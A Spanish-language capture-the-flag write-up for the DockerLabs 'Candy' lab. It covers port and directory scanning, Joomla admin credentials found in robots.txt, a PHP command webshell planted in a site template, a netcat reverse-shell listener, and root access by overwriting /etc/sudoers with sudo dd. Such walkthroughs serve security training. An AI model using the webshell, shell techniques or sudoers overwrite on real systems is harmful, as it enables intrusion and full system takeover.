miguel@home:~$

Candy - DockerLabs

OS Dificultad Creator
Linux Fácil Luisillo_o

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 80 (HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p80 -sCV 172.17.0.2 -oG targeted

image

Exploración Web

Al navegar al puerto 80, descubrimos un sitio web de Joomla.

image

Vemos que tenemos también un robots.txt el cual contiene lo que parece un usuario y una contraseña al final.

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

Recordando que antes vimos en robots.txt un usuario admin y una contraseña, al probarla no nos deja acceder. Sin embargo, si accedemos a la página CyberChef, nos dice que la contraseña está en base64.

image

La contraseña es sanluis12345.

Ya estamos dentro del panel de administrador del servidor de Joomla.

image

Ahora, para generar el RCE, debemos entrar en system > Templates > Site Templates > Cassiopeia Details and Files, y añadir en el archivo index.php lo siguiente:

<?php
       system($_GET['cmd']);
?>

image

Ahora, si ponemos lo siguiente en la URL: /index.php?cmd=id, podemos comprobar que funciona.

image

Por lo que generaremos una revershell.

Reverse Shell

Modificamos el archivo index.php para que sea una reverse shell utilizando la herramienta Reverseshell de Pentest Monkey para crear una shell en PHP.

image

Simultáneamente, iniciamos netcat en nuestro sistema para escuchar conexiones entrantes:

nc -lvnp 4444

Logramos acceso como www-data.

image

TTY ReverseShell

Iniciar una sesión de shell interactiva

En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior está en ejecución, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuración del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Intrusion

Lo que haremos será usar el programa linpeas para ver qué nos puede detectar.

image

Encontramos la siguiente ruta: /var/backups/hidden/otro_caramelo.txt. Vamos a ver qué contiene.

image

Vemos que contiene una contraseña para el usuario luisillo, intentamos el acceso.

image

Escalada de privilegios

Al ejecutar sudo -l, notamos que tiene permisos para ejecutar dd como root.Utilizando GTFOBins sabemos cómo explotar estos binarios.

LFILE=/etc/sudoers
echo "luisillo ALL=(ALL:ALL) ALL" | sudo dd of=$LFILE

Ahora ponemos sudo su.

image

Ya somos root